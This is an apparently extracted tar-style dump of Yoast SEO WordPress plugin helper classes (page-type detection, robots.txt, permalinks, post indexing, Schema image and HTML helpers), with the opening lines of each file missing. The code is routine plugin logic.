public null. */ protected function author_has_a_post_with_is_public_null( $author_id ) { $cache_key = 'author_has_a_post_with_is_public_null_' . $author_id; $indexable_exists = \wp_cache_get( $cache_key ); if ( $indexable_exists === false ) { $indexable_exists = Model::of_type( 'Indexable' ) ->select( 'id' ) ->where( 'object_type', 'post' ) ->where_in( 'object_sub_type', $this->get_author_archive_post_types() ) ->where( 'author_id', $author_id ) ->where_null( 'is_public' ) ->find_one(); if ( $indexable_exists === false ) { // Cache no results to prevent full table scanning on authors with no is public null posts. \wp_cache_set( $cache_key, 0, '', \wp_rand( ( 2 * \HOUR_IN_SECONDS ), ( 4 * \HOUR_IN_SECONDS ) ) ); } } return (bool) $indexable_exists; } } helpers/current-page-helper.php000064400000037210152076255030012600 0ustar00wp_query_wrapper = $wp_query_wrapper; } /** * Returns the page type for the current request. * * @codeCoverageIgnore It just depends on other functions for its result. * * @return string Page type. */ public function get_page_type() { switch ( true ) { case $this->is_search_result(): return 'Search_Result_Page'; case $this->is_static_posts_page(): return 'Static_Posts_Page'; case $this->is_home_static_page(): return 'Static_Home_Page'; case $this->is_home_posts_page(): return 'Home_Page'; case $this->is_simple_page(): return 'Post_Type'; case $this->is_post_type_archive(): return 'Post_Type_Archive'; case $this->is_term_archive(): return 'Term_Archive'; case $this->is_author_archive(): return 'Author_Archive'; case $this->is_date_archive(): return 'Date_Archive'; case $this->is_404(): return 'Error_Page'; } return 'Fallback'; } /** * Checks if the currently opened page is a simple page. * * @return bool Whether the currently opened page is a simple page. */ public function is_simple_page() { return $this->get_simple_page_id() > 0; } /** * Returns the id of the currently opened page. * * @return int The id of the currently opened page. */ public function get_simple_page_id() { if ( \is_singular() ) { return \get_the_ID(); } if ( $this->is_posts_page() ) { return \get_option( 'page_for_posts' ); } /** * Filter: Allow changing the default page id. * * @param int $page_id The default page id. */ return \apply_filters( 'wpseo_frontend_page_type_simple_page_id', 0 ); } /** * Returns the id of the currently opened author archive. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return int The id of the currently opened author archive. */ public function get_author_id() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->get( 'author' ); } /** * Returns the id of the front page. * * @return int The id of the front page. 0 if the front page is not a static page. */ public function get_front_page_id() { if ( \get_option( 'show_on_front' ) !== 'page' ) { return 0; } return (int) \get_option( 'page_on_front' ); } /** * Returns the id of the currently opened term archive. * * @return int The id of the currently opened term archive. */ public function get_term_id() { $wp_query = $this->wp_query_wrapper->get_main_query(); if ( $wp_query->is_tax() || $wp_query->is_tag() || $wp_query->is_category() ) { $queried_object = $wp_query->get_queried_object(); if ( $queried_object && ! \is_wp_error( $queried_object ) ) { return $queried_object->term_id; } } return 0; } /** * Returns the post type of the main query. * * @return string The post type of the main query. */ public function get_queried_post_type() { $wp_query = $this->wp_query_wrapper->get_main_query(); $post_type = $wp_query->get( 'post_type' ); if ( \is_array( $post_type ) ) { $post_type = \reset( $post_type ); } return $post_type; } /** * Returns the permalink of the currently opened date archive. * If the permalink was cached, it returns this permalink. * If not, we call another function to get the permalink through wp_query. * * @return string The permalink of the currently opened date archive. */ public function get_date_archive_permalink() { static $date_archive_permalink; if ( isset( $date_archive_permalink ) ) { return $date_archive_permalink; } $date_archive_permalink = $this->get_non_cached_date_archive_permalink(); return $date_archive_permalink; } /** * Determine whether this is the homepage and shows posts. * * @return bool Whether or not the current page is the homepage that displays posts. */ public function is_home_posts_page() { $wp_query = $this->wp_query_wrapper->get_main_query(); if ( ! $wp_query->is_home() ) { return false; } /* * Whether the static page's `Homepage` option is actually not set to a page. * Otherwise WordPress proceeds to handle the homepage as a `Your latest posts` page. */ if ( (int) \get_option( 'page_on_front' ) === 0 ) { return true; } return \get_option( 'show_on_front' ) === 'posts'; } /** * Determine whether this is the static frontpage. * * @return bool Whether or not the current page is a static frontpage. */ public function is_home_static_page() { $wp_query = $this->wp_query_wrapper->get_main_query(); if ( ! $wp_query->is_front_page() ) { return false; } if ( \get_option( 'show_on_front' ) !== 'page' ) { return false; } return $wp_query->is_page( \get_option( 'page_on_front' ) ); } /** * Determine whether this is the static posts page. * * @return bool Whether or not the current page is a static posts page. */ public function is_static_posts_page() { $wp_query = $this->wp_query_wrapper->get_main_query(); $queried_object = $wp_query->get_queried_object(); return ( $wp_query->is_posts_page && \is_a( $queried_object, WP_Post::class ) && $queried_object->post_type === 'page' ); } /** * Determine whether this is the statically set posts page, when it's not the frontpage. * * @return bool Whether or not it's a non-frontpage, statically set posts page. */ public function is_posts_page() { $wp_query = $this->wp_query_wrapper->get_main_query(); if ( ! $wp_query->is_home() ) { return false; } return \get_option( 'show_on_front' ) === 'page'; } /** * Determine whether this is a post type archive. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether nor not the current page is a post type archive. */ public function is_post_type_archive() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_post_type_archive(); } /** * Determine whether this is a term archive. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether nor not the current page is a term archive. */ public function is_term_archive() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_tax || $wp_query->is_tag || $wp_query->is_category; } /** * Determine whether this is an attachment page. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether nor not the current page is an attachment page. */ public function is_attachment() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_attachment; } /** * Determine whether this is an author archive. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether nor not the current page is an author archive. */ public function is_author_archive() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_author(); } /** * Determine whether this is an date archive. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether nor not the current page is an date archive. */ public function is_date_archive() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_date(); } /** * Determine whether this is a search result. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether nor not the current page is a search result. */ public function is_search_result() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_search(); } /** * Determine whether this is a 404 page. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether nor not the current page is a 404 page. */ public function is_404() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_404(); } /** * Checks if the current page is the post format archive. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether or not the current page is the post format archive. */ public function is_post_format_archive() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_tax( 'post_format' ); } /** * Determine whether this page is an taxonomy archive page for multiple terms (url: /term-1,term2/). * * @return bool Whether or not the current page is an archive page for multiple terms. */ public function is_multiple_terms_page() { if ( ! $this->is_term_archive() ) { return false; } return $this->count_queried_terms() > 1; } /** * Checks whether the current page is paged. * * @codeCoverageIgnore This method only calls a WordPress function. * * @return bool Whether the current page is paged. */ public function is_paged() { return \is_paged(); } /** * Checks if the current page is the front page. * * @codeCoverageIgnore It wraps WordPress functionality. * * @return bool Whether or not the current page is the front page. */ public function is_front_page() { $wp_query = $this->wp_query_wrapper->get_main_query(); return $wp_query->is_front_page(); } /** * Retrieves the current admin page. * * @codeCoverageIgnore It only wraps a global WordPress variable. * * @return string The current page. */ public function get_current_admin_page() { global $pagenow; return $pagenow; } /** * Check if the current opened page is a Yoast SEO page. * * @return bool True when current page is a yoast seo plugin page. */ public function is_yoast_seo_page() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only using the variable in the strpos function. $current_page = \wp_unslash( $_GET['page'] ); return \strpos( $current_page, 'wpseo_' ) === 0; } return false; } /** * Returns the current Yoast SEO page. * (E.g. the `page` query variable in the URL). * * @return string The current Yoast SEO page. */ public function get_current_yoast_seo_page() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return \sanitize_text_field( \wp_unslash( $_GET['page'] ) ); } return ''; } /** * Checks if the current global post is the privacy policy page. * * @return bool current global post is set as privacy page */ public function current_post_is_privacy_policy() { global $post; if ( ! isset( $post->ID ) ) { return false; } return (int) $post->ID === (int) \get_option( 'wp_page_for_privacy_policy', false ); } /** * Returns the permalink of the currently opened date archive. * * @return string The permalink of the currently opened date archive. */ protected function get_non_cached_date_archive_permalink() { $date_archive_permalink = ''; $wp_query = $this->wp_query_wrapper->get_main_query(); if ( $wp_query->is_day() ) { $date_archive_permalink = \get_day_link( $wp_query->get( 'year' ), $wp_query->get( 'monthnum' ), $wp_query->get( 'day' ) ); } if ( $wp_query->is_month() ) { $date_archive_permalink = \get_month_link( $wp_query->get( 'year' ), $wp_query->get( 'monthnum' ) ); } if ( $wp_query->is_year() ) { $date_archive_permalink = \get_year_link( $wp_query->get( 'year' ) ); } return $date_archive_permalink; } /** * Counts the total amount of queried terms. * * @codeCoverageIgnore This relies too much on WordPress dependencies. * * @return int The amoumt of queried terms. */ protected function count_queried_terms() { $wp_query = $this->wp_query_wrapper->get_main_query(); $term = $wp_query->get_queried_object(); $queried_terms = $wp_query->tax_query->queried_terms; if ( $term === null || empty( $queried_terms[ $term->taxonomy ]['terms'] ) ) { return 0; } return \count( $queried_terms[ $term->taxonomy ]['terms'] ); } /** * Retrieves the current post id. * Returns 0 if no post id is found. * * @return int The post id. */ public function get_current_post_id(): int { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are casting to an integer. if ( isset( $_GET['post'] ) && \is_string( $_GET['post'] ) && (int) \wp_unslash( $_GET['post'] ) > 0 ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are casting to an integer, also this is a helper function. return (int) \wp_unslash( $_GET['post'] ); } return 0; } /** * Retrieves the current post type. * * @return string The post type. */ public function get_current_post_type(): string { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['post_type'] ) && \is_string( $_GET['post_type'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return \sanitize_text_field( \wp_unslash( $_GET['post_type'] ) ); } // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: should be done outside the helper function. if ( isset( $_POST['post_type'] ) && \is_string( $_POST['post_type'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: should be done outside the helper function. return \sanitize_text_field( \wp_unslash( $_POST['post_type'] ) ); } $post_id = $this->get_current_post_id(); if ( $post_id ) { return \get_post_type( $post_id ); } return 'post'; } /** * Retrieves the current taxonomy. * * @return string The taxonomy. */ public function get_current_taxonomy(): string { if ( ! isset( $_SERVER['REQUEST_METHOD'] ) || ! \in_array( $_SERVER['REQUEST_METHOD'], [ 'GET', 'POST' ], true ) ) { return ''; } // phpcs:ignore WordPress.Security.NonceVerification -- Reason: We are not processing form information. if ( $_SERVER['REQUEST_METHOD'] === 'POST' ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: should be done outside the helper function. if ( isset( $_POST['taxonomy'] ) && \is_string( $_POST['taxonomy'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: should be done outside the helper function. return \sanitize_text_field( \wp_unslash( $_POST['taxonomy'] ) ); } return ''; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['taxonomy'] ) && \is_string( $_GET['taxonomy'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return \sanitize_text_field( \wp_unslash( $_GET['taxonomy'] ) ); } return ''; } } helpers/robots-txt-helper.php000064400000006551152076255030012335 0ustar00robots_txt_user_agents = new User_Agent_List(); $this->robots_txt_sitemaps = []; $this->robots_txt_schemamaps = []; } /** * Add a disallow rule for a specific user agent if it does not exist yet. * * @param string $user_agent The user agent to add the disallow rule to. * @param string $path The path to add as a disallow rule. * * @return void */ public function add_disallow( $user_agent, $path ) { $user_agent_container = $this->robots_txt_user_agents->get_user_agent( $user_agent ); $user_agent_container->add_disallow_directive( $path ); } /** * Add an allow rule for a specific user agent if it does not exist yet. * * @param string $user_agent The user agent to add the allow rule to. * @param string $path The path to add as a allow rule. * * @return void */ public function add_allow( $user_agent, $path ) { $user_agent_container = $this->robots_txt_user_agents->get_user_agent( $user_agent ); $user_agent_container->add_allow_directive( $path ); } /** * Add sitemap to robots.txt if it does not exist yet. * * @param string $absolute_path The absolute path to the sitemap to add. * * @return void */ public function add_sitemap( $absolute_path ) { if ( ! \in_array( $absolute_path, $this->robots_txt_sitemaps, true ) ) { $this->robots_txt_sitemaps[] = $absolute_path; } } /** * Add schema to robots.txt if it does not exist yet. * * @param string $absolute_path The absolute path to the sitemap to add. * * @return void */ public function add_schemamap( $absolute_path ) { if ( ! \in_array( $absolute_path, $this->robots_txt_schemamaps, true ) ) { $this->robots_txt_schemamaps[] = $absolute_path; } } /** * Get all registered disallow directives per user agent. * * @return array The registered disallow directives per user agent. */ public function get_disallow_directives() { return $this->robots_txt_user_agents->get_disallow_directives(); } /** * Get all registered allow directives per user agent. * * @return array The registered allow directives per user agent. */ public function get_allow_directives() { return $this->robots_txt_user_agents->get_allow_directives(); } /** * Get all registered sitemap rules. * * @return array The registered sitemap rules. */ public function get_sitemap_rules() { return $this->robots_txt_sitemaps; } /** * Get all registered schemamap rules. * * @return array The registered schemamap rules. */ public function get_schemamap_rules() { return $this->robots_txt_schemamaps; } /** * Get all registered user agents * * @return array The registered user agents. */ public function get_robots_txt_user_agents() { return $this->robots_txt_user_agents->get_user_agents(); } } helpers/permalink-helper.php000064400000003151152076255030012163 0ustar00object_type === 'post': return $this->get_permalink_for_post( $indexable->object_sub_type, $indexable->object_id ); case $indexable->object_type === 'home-page': return \home_url( '/' ); case $indexable->object_type === 'term': $term = \get_term( $indexable->object_id ); if ( $term === null || \is_wp_error( $term ) ) { return null; } return \get_term_link( $term, $term->taxonomy ); case $indexable->object_type === 'system-page' && $indexable->object_sub_type === 'search-page': return \get_search_link(); case $indexable->object_type === 'post-type-archive': return \get_post_type_archive_link( $indexable->object_sub_type ); case $indexable->object_type === 'user': return \get_author_posts_url( $indexable->object_id ); } return null; } /** * Retrieves the permalink for a post with the given post type and ID. * * @param string $post_type The post type. * @param int $post_id The post ID. * * @return WP_Error|string|false The permalink. */ public function get_permalink_for_post( $post_type, $post_id ) { if ( $post_type !== 'attachment' ) { return \get_permalink( $post_id ); } return \wp_get_attachment_url( $post_id ); } } helpers/post-helper.php000064400000012661152076255030011174 0ustar00string = $string_helper; $this->post_type = $post_type_helper; } /** * Sets the indexable repository. Done to avoid circular dependencies. * * @required * * @param Indexable_Repository $repository The indexable repository. * * @return void */ public function set_indexable_repository( Indexable_Repository $repository ) { $this->repository = $repository; } /** * Removes all shortcode tags from the given content. * * @codeCoverageIgnore It only wraps a WordPress function. * * @param string $content Content to remove all the shortcode tags from. * * @return string Content without shortcode tags. */ public function strip_shortcodes( $content ) { return \strip_shortcodes( $content ); } /** * Retrieves the post excerpt (without tags). * * @codeCoverageIgnore It only wraps another helper method. * * @param int $post_id Post ID. * * @return string Post excerpt (without tags). */ public function get_the_excerpt( $post_id ) { return $this->string->strip_all_tags( \get_the_excerpt( $post_id ) ); } /** * Retrieves the post type of the current post. * * @codeCoverageIgnore It only wraps a WordPress function. * * @param WP_Post|null $post The post. * * @return string|false Post type on success, false on failure. */ public function get_post_type( $post = null ) { return \get_post_type( $post ); } /** * Retrieves the post title with fallback to `No title`. * * @param int $post_id Optional. Post ID. * * @return string The post title with fallback to `No title`. */ public function get_post_title_with_fallback( $post_id = 0 ) { $post_title = \get_the_title( $post_id ); if ( $post_title ) { return $post_title; } return \__( 'No title', 'wordpress-seo' ); } /** * Retrieves post data given a post ID. * * @codeCoverageIgnore It wraps a WordPress function. * * @param int $post_id Post ID. * * @return WP_Post|null The post. */ public function get_post( $post_id ) { return \get_post( $post_id ); } /** * Updates the has_public_posts field on attachments for a post_parent. * * An attachment is represented by their post parent when: * - The attachment has a post parent. * - The attachment inherits the post status. * * @codeCoverageIgnore It relies too much on dependencies. * * @param int $post_parent Post ID. * @param int $has_public_posts Whether the parent is public. * * @return bool Whether the update was successful. */ public function update_has_public_posts_on_attachments( $post_parent, $has_public_posts ) { $query = $this->repository->query() ->select( 'id' ) ->where( 'object_type', 'post' ) ->where( 'object_sub_type', 'attachment' ) ->where( 'post_status', 'inherit' ) ->where( 'post_parent', $post_parent ); if ( $has_public_posts !== null ) { $query->where_raw( '( has_public_posts IS NULL OR has_public_posts <> %s )', [ $has_public_posts ] ); } else { $query->where_not_null( 'has_public_posts' ); } $results = $query->find_array(); if ( empty( $results ) ) { return true; } $updated = $this->repository->query() ->set( 'has_public_posts', $has_public_posts ) ->where_id_in( \wp_list_pluck( $results, 'id' ) ) ->update_many(); return $updated !== false; } /** * Determines if the post can be indexed. * * @param int $post_id Post ID to check. * * @return bool True if the post can be indexed. */ public function is_post_indexable( $post_id ) { // Don't index posts which are not public (i.e. viewable). $post_type = \get_post_type( $post_id ); if ( ! $this->post_type->is_of_indexable_post_type( $post_type ) ) { return false; } // Don't index excluded post statuses. if ( \in_array( \get_post_status( $post_id ), $this->get_excluded_post_statuses(), true ) ) { return false; } // Don't index revisions of posts. if ( \wp_is_post_revision( $post_id ) ) { return false; } // Don't index autosaves that are not caught by the auto-draft check. if ( \wp_is_post_autosave( $post_id ) ) { return false; } return true; } /** * Retrieves the list of excluded post statuses. * * @return array The excluded post statuses. */ public function get_excluded_post_statuses() { return [ 'auto-draft' ]; } /** * Retrieves the list of public posts statuses. * * @return array The public post statuses. */ public function get_public_post_statuses() { /** * Filter: 'wpseo_public_post_statuses' - List of public post statuses. * * @param array $post_statuses Post status list, defaults to array( 'publish' ). */ return \apply_filters( 'wpseo_public_post_statuses', [ 'publish' ] ); } } helpers/import-helper.php000064400000001314152076255060011515 0ustar00 $value ) { if ( \is_array( $value ) ) { $result = \array_merge( $result, $this->flatten_settings( $value, $key_prefix . '/' . $key ) ); } else { $result[ $key_prefix . '/' . $key ] = $value; } } return $result; } } helpers/first-time-configuration-notice-helper.php000064400000012556152076255060016424 0ustar00options_helper = $options_helper; $this->indexing_helper = $indexing_helper; $this->show_alternate_message = false; } /** * Determines whether and where the "First-time SEO Configuration" admin notice should be displayed. * * @return bool Whether the "First-time SEO Configuration" admin notice should be displayed. */ public function should_display_first_time_configuration_notice() { if ( ! $this->options_helper->get( 'dismiss_configuration_workout_notice', false ) === false ) { return false; } if ( ! $this->on_wpseo_admin_page_or_dashboard() ) { return false; } return $this->first_time_configuration_not_finished(); } /** * Gets the first time configuration title based on the show_alternate_message boolean * * @return string */ public function get_first_time_configuration_title() { return ( ! $this->show_alternate_message ) ? \__( 'First-time SEO configuration', 'wordpress-seo' ) : \__( 'SEO configuration', 'wordpress-seo' ); } /** * Determines if the first time configuration is completely finished. * * @return bool */ public function first_time_configuration_not_finished() { if ( ! $this->user_can_do_first_time_configuration() ) { return false; } if ( $this->is_first_time_configuration_finished() ) { return false; } if ( $this->options_helper->get( 'first_time_install', false ) !== false ) { return ! $this->are_site_representation_name_and_logo_set() || $this->indexing_helper->get_unindexed_count() > 0; } if ( $this->indexing_helper->is_initial_indexing() === false ) { return false; } if ( $this->indexing_helper->is_finished_indexables_indexing() === true ) { return false; } $this->show_alternate_message = true; return ! $this->are_site_representation_name_and_logo_set(); } /** * Whether the user can do the first-time configuration. * * @return bool Whether the current user can do the first-time configuration. */ private function user_can_do_first_time_configuration() { return \current_user_can( 'wpseo_manage_options' ); } /** * Whether the user is currently visiting one of our admin pages or the WordPress dashboard. * * @return bool Whether the current page is a Yoast SEO admin page */ private function on_wpseo_admin_page_or_dashboard() { $pagenow = $GLOBALS['pagenow']; // Show on the WP Dashboard. if ( $pagenow === 'index.php' ) { return true; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['page'] ) && \is_string( $_GET['page'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information and only comparing the variable in a condition. $page_from_get = \wp_unslash( $_GET['page'] ); // Show on Yoast SEO pages, with some exceptions. if ( $pagenow === 'admin.php' && \strpos( $page_from_get, 'wpseo' ) === 0 ) { $exceptions = [ 'wpseo_installation_successful', 'wpseo_installation_successful_free', ]; if ( ! \in_array( $page_from_get, $exceptions, true ) ) { return true; } } } return false; } /** * Whether all steps of the first-time configuration have been finished. * * @param bool $for_task_list Whether this is called for the task list. * * @return bool Whether the first-time configuration has been finished. */ public function is_first_time_configuration_finished( $for_task_list = false ) { $configuration_finished_steps = $this->options_helper->get( 'configuration_finished_steps', [] ); $number_of_steps_of_completed_ftc = ( $for_task_list ) ? 4 : 3; return \count( $configuration_finished_steps ) === $number_of_steps_of_completed_ftc; } /** * Whether the site representation name and logo have been set. * * @return bool Whether the site representation name and logo have been set. */ private function are_site_representation_name_and_logo_set() { $company_or_person = $this->options_helper->get( 'company_or_person', '' ); if ( $company_or_person === '' ) { return false; } if ( $company_or_person === 'company' ) { return ! empty( $this->options_helper->get( 'company_name' ) ) && ! empty( $this->options_helper->get( 'company_logo', '' ) ); } return ! empty( $this->options_helper->get( 'company_or_person_user_id' ) ) && ! empty( $this->options_helper->get( 'person_logo', '' ) ); } /** * Getter for the show alternate message boolean. * * @return bool */ public function should_show_alternate_message() { return $this->show_alternate_message; } } helpers/schema/language-helper.php000064400000001544152076255070013234 0ustar00is_author_supported( $post_type ); } /** * Checks whether author is supported for the passed object sub type. * * @param string $object_sub_type The sub type of the object to check author support for. * * @return bool True if author is supported for the passed object sub type. */ public function is_author_supported( $object_sub_type ) { return \post_type_supports( $object_sub_type, 'author' ); } } helpers/schema/replace-vars-helper.php000064400000006765152076255070014047 0ustar00replace_vars = $replace_vars; $this->id_helper = $id_helper; $this->date_helper = $date_helper; } /** * Replaces the variables. * * @param array $schema_data The Schema data. * @param Indexable_Presentation $presentation The indexable presentation. * * @return array The array with replaced vars. */ public function replace( array $schema_data, Indexable_Presentation $presentation ) { foreach ( $schema_data as $key => $value ) { if ( \is_array( $value ) ) { $schema_data[ $key ] = $this->replace( $value, $presentation ); continue; } $schema_data[ $key ] = $this->replace_vars->replace( $value, $presentation->source ); } return $schema_data; } /** * Registers the Schema-related replace vars. * * @param Meta_Tags_Context $context The meta tags context. * * @return void */ public function register_replace_vars( $context ) { $replace_vars = [ 'main_schema_id' => $context->main_schema_id, 'author_id' => $this->id_helper->get_user_schema_id( $context->indexable->author_id, $context ), 'person_id' => $context->site_url . Schema_IDs::PERSON_HASH, 'primary_image_id' => $context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH, 'webpage_id' => $context->main_schema_id, 'website_id' => $context->site_url . Schema_IDs::WEBSITE_HASH, 'organization_id' => $context->site_url . Schema_IDs::ORGANIZATION_HASH, ]; if ( $context->post ) { // Post does not always exist, e.g. on term pages. $replace_vars['post_date'] = $this->date_helper->format( $context->post->post_date, \DATE_ATOM ); } foreach ( $replace_vars as $var => $value ) { $this->register_replacement( $var, $value ); } } /** * Registers a replace var and its value. * * @param string $variable The replace variable. * @param string $value The value that the variable should be replaced with. * * @return void */ protected function register_replacement( $variable, $value ) { $this->replace_vars->safe_register_replacement( $variable, $this->get_identity_function( $value ), ); } /** * Returns an anonymous function that in turn just returns the given value. * * @param mixed $value The value that the function should return. * * @return Closure A function that returns the given value. */ protected function get_identity_function( $value ) { return static function () use ( $value ) { return $value; }; } } helpers/schema/id-helper.php000064400000001263152076255070012043 0ustar00site_url . Schema_IDs::PERSON_HASH . \wp_hash( $user->user_login . $user_id ); } return ''; } } helpers/schema/html-helper.php000064400000003756152076255070012424 0ustar00is_non_empty_string_or_stringable( $html ) ) { if ( \is_int( $html ) || \is_float( $html ) ) { return (string) $html; } return ''; } return \strip_tags( $html, '


    • ' ); } /** * Strips the tags in a smart way. * * @param string $html The original HTML. * * @return string The sanitized HTML. */ public function smart_strip_tags( $html ) { if ( ! $this->is_non_empty_string_or_stringable( $html ) ) { if ( \is_int( $html ) || \is_float( $html ) ) { return (string) $html; } return ''; } // Replace all new lines with spaces. $html = \preg_replace( '/(\r|\n)/', ' ', $html ); // Replace
      tags with spaces. $html = \preg_replace( '//i', ' ', $html ); // Replace closing

      and other tags with the same tag with a space after it, so we don't end up connecting words when we remove them later. $html = \preg_replace( '/<\/(p|div|h\d)>/i', ' ', $html ); // Replace list items with list identifiers so it still looks natural. $html = \preg_replace( '/(]*>)/i', '$1• ', $html ); // Strip tags. $html = \wp_strip_all_tags( $html ); // Replace multiple spaces with one space. $html = \preg_replace( '!\s+!', ' ', $html ); return \trim( $html ); } /** * Verifies that the received input is either a string or stringable object. * * @param string $html The original HTML. * * @return bool */ private function is_non_empty_string_or_stringable( $html ) { return ( \is_string( $html ) || ( \is_object( $html ) && \method_exists( $html, '__toString' ) ) ) && ! empty( $html ); } } helpers/schema/image-helper.php000064400000014022152076255070012526 0ustar00html = $html; $this->language = $language; $this->image = $image; } /** * Find an image based on its URL and generate a Schema object for it. * * @param string $schema_id The `@id` to use for the returned image. * @param string $url The image URL to base our object on. * @param string $caption An optional caption. * @param bool $add_hash Whether a hash will be added as a suffix in the @id. * @param bool $use_link_table Whether the SEO Links table will be used to retrieve the id. * * @return array Schema ImageObject array. */ public function generate_from_url( $schema_id, $url, $caption = '', $add_hash = false, $use_link_table = true ) { $attachment_id = $this->image->get_attachment_by_url( $url, $use_link_table ); if ( $attachment_id > 0 ) { return $this->generate_from_attachment_id( $schema_id, $attachment_id, $caption, $add_hash ); } return $this->simple_image_object( $schema_id, $url, $caption, $add_hash ); } /** * Retrieve data about an image from the database and use it to generate a Schema object. * * @param string $schema_id The `@id` to use for the returned image. * @param int $attachment_id The attachment to retrieve data from. * @param string $caption The caption string, if there is one. * @param bool $add_hash Whether a hash will be added as a suffix in the @id. * * @return array Schema ImageObject array. */ public function generate_from_attachment_id( $schema_id, $attachment_id, $caption = '', $add_hash = false ) { $data = $this->generate_object(); $url = $this->image->get_attachment_image_url( $attachment_id, 'full' ); $id_suffix = ( $add_hash ) ? \md5( $url ) : ''; $data['@id'] = $schema_id . $id_suffix; $data['url'] = $url; $data['contentUrl'] = $url; $data = $this->add_image_size( $data, $attachment_id ); $data = $this->add_caption( $data, $attachment_id, $caption ); return $data; } /** * Retrieve data about an image from the database and use it to generate a Schema object. * * @param string $schema_id The `@id` to use for the returned image. * @param array $attachment_meta The attachment metadata. * @param string $caption The caption string, if there is one. * @param bool $add_hash Whether a hash will be added as a suffix in the @id. * * @return array Schema ImageObject array. */ public function generate_from_attachment_meta( $schema_id, $attachment_meta, $caption = '', $add_hash = false ) { $data = $this->generate_object(); $id_suffix = ( $add_hash ) ? \md5( $attachment_meta['url'] ) : ''; $data['@id'] = $schema_id . $id_suffix; $data['url'] = $attachment_meta['url']; $data['contentUrl'] = $data['url']; $data['width'] = $attachment_meta['width']; $data['height'] = $attachment_meta['height']; if ( ! empty( $caption ) ) { $data['caption'] = $this->html->smart_strip_tags( $caption ); } return $data; } /** * If we can't find $url in our database, we output a simple ImageObject. * * @param string $schema_id The `@id` to use for the returned image. * @param string $url The image URL. * @param string $caption A caption, if set. * @param bool $add_hash Whether a hash will be added as a suffix in the @id. * * @return array Schema ImageObject array. */ public function simple_image_object( $schema_id, $url, $caption = '', $add_hash = false ) { $data = $this->generate_object(); $id_suffix = ( $add_hash ) ? \md5( $url ) : ''; $data['@id'] = $schema_id . $id_suffix; $data['url'] = $url; $data['contentUrl'] = $url; if ( ! empty( $caption ) ) { $data['caption'] = $this->html->smart_strip_tags( $caption ); } return $data; } /** * Retrieves an image's caption if set, or uses the alt tag if that's set. * * @param array $data An ImageObject Schema array. * @param int $attachment_id Attachment ID. * @param string $caption The caption string, if there is one. * * @return array An imageObject with width and height set if available. */ private function add_caption( $data, $attachment_id, $caption = '' ) { if ( $caption !== '' ) { $data['caption'] = $caption; return $data; } $caption = $this->image->get_caption( $attachment_id ); if ( ! empty( $caption ) ) { $data['caption'] = $this->html->smart_strip_tags( $caption ); return $data; } return $data; } /** * Generates our bare bone ImageObject. * * @return array an empty ImageObject */ private function generate_object() { $data = [ '@type' => 'ImageObject', ]; $data = $this->language->add_piece_language( $data ); return $data; } /** * Adds image's width and height. * * @param array $data An ImageObject Schema array. * @param int $attachment_id Attachment ID. * * @return array An imageObject with width and height set if available. */ private function add_image_size( $data, $attachment_id ) { $image_meta = $this->image->get_metadata( $attachment_id ); if ( empty( $image_meta['width'] ) || empty( $image_meta['height'] ) ) { return $data; } $data['width'] = $image_meta['width']; $data['height'] = $image_meta['height']; return $data; } } helpers/language-helper.php000064400000005234152076255070011774 0ustar00get_url_path( $url ); if ( $path === '' ) { return ''; } $parts = \explode( '.', $path ); if ( empty( $parts ) || \count( $parts ) === 1 ) { return ''; } return \end( $parts ); } /** * Ensures that the given url is an absolute url. * * @param string $url The url that needs to be absolute. * * @return string The absolute url. */ public function ensure_absolute_url( $url ) { if ( ! \is_string( $url ) || $url === '' ) { return $url; } if ( $this->is_relative( $url ) === true ) { return $this->build_absolute_url( $url ); } return $url; } /** * Parse the home URL setting to find the base URL for relative URLs. * * @param string|null $path Optional path string. * * @return string */ public function build_absolute_url( $path = null ) { $path = 